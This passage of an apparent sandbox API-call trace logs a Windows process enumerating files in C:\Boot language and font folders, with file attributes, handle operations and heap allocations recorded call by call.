dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.795] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0138.795] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="")) returned 1 [0138.795] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="")) returned 0 [0138.795] GetLastError () returned 0x12 [0138.795] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ea60) returned 1 [0138.795] FindClose (in: hFindFile=0x839060 | out: hFindFile=0x839060) returned 1 [0138.795] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eae8) returned 1 [0138.795] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.795] FindNextFileW (in: hFindFile=0x839020, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0138.795] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.795] GetFileAttributesExW (in: lpFileName="C:\\Boot\\es-ES" (normalized: "c:\\boot\\es-es"), fInfoLevelId=0x0, lpFileInformation=0x1a7f600 | out: lpFileInformation=0x1a7f600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0138.796] CreateFileW (lpFileName="C:\\Boot\\es-ES" (normalized: "c:\\boot\\es-es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0138.796] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0138.796] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0138.796] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0138.796] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0138.796] NtClose (Handle=0x15c) returned 0x0 [0138.796] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.796] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.842] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eae8 [0138.842] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ea60 [0138.842] FindFirstFileExW (in: lpFileName="C:\\Boot\\es-ES\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x81fcd8 [0138.842] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.842] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0138.842] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.842] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.842] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.842] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.842] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.843] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x983f20 [0138.843] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f7a8 [0138.843] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f830 [0138.843] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988518) returned 1 [0138.843] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.843] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0138.843] GetLastError () returned 0x12 [0138.843] FindFirstFileExW (in: lpFileName="C:\\Boot\\es-ES\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x839060 [0138.843] FindClose (in: hFindFile=0x81fcd8 | out: hFindFile=0x81fcd8) returned 1 [0138.843] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.843] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0138.843] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0138.843] GetLastError () returned 0x12 [0138.843] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ea60) returned 1 [0138.843] FindClose (in: hFindFile=0x839060 | out: hFindFile=0x839060) returned 1 [0138.843] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eae8) returned 1 [0138.843] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.843] FindNextFileW (in: hFindFile=0x839020, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0138.843] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.843] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fi-FI" (normalized: "c:\\boot\\fi-fi"), fInfoLevelId=0x0, lpFileInformation=0x1a7f600 | out: lpFileInformation=0x1a7f600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0138.844] CreateFileW (lpFileName="C:\\Boot\\fi-FI" (normalized: "c:\\boot\\fi-fi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0138.844] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0138.844] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0138.844] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0138.844] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0138.844] NtClose (Handle=0x194) returned 0x0 [0138.844] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.844] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.844] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eae8 [0138.844] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ea60 [0138.844] FindFirstFileExW (in: lpFileName="C:\\Boot\\fi-FI\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x81fcd8 [0138.844] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.844] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0138.844] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.844] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.844] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.844] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.844] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.844] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x984200 [0138.844] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f8b8 [0138.844] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.844] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0138.844] GetLastError () returned 0x12 [0138.844] FindFirstFileExW (in: lpFileName="C:\\Boot\\fi-FI\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x839060 [0138.845] FindClose (in: hFindFile=0x81fcd8 | out: hFindFile=0x81fcd8) returned 1 [0138.845] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.845] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0138.845] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0138.845] GetLastError () returned 0x12 [0138.845] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ea60) returned 1 [0138.845] FindClose (in: hFindFile=0x839060 | out: hFindFile=0x839060) returned 1 [0138.845] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eae8) returned 1 [0138.845] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.845] FindNextFileW (in: hFindFile=0x839020, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0138.845] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.845] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts" (normalized: "c:\\boot\\fonts"), fInfoLevelId=0x0, lpFileInformation=0x1a7f600 | out: lpFileInformation=0x1a7f600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0138.848] CreateFileW (lpFileName="C:\\Boot\\Fonts" (normalized: "c:\\boot\\fonts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0138.848] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0138.848] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0138.848] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0138.848] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0138.848] NtClose (Handle=0x15c) returned 0x0 [0138.848] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.848] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.848] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eae8 [0138.848] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ea60 [0138.848] FindFirstFileExW (in: lpFileName="C:\\Boot\\Fonts\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x81fcd8 [0138.848] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.849] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0138.849] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.849] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.849] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.849] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.849] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.849] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x984220 [0138.849] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f940 [0138.849] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.849] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0138.849] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.849] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.849] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.849] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.849] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.849] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x984240 [0138.849] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f9c8 [0138.849] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.849] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0138.849] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.849] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.849] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.849] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.849] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.849] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x984260 [0138.849] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9fa50 [0138.849] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.849] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0138.850] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.850] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.850] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.850] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.850] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.850] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x984280 [0138.850] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9fad8 [0138.850] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.850] 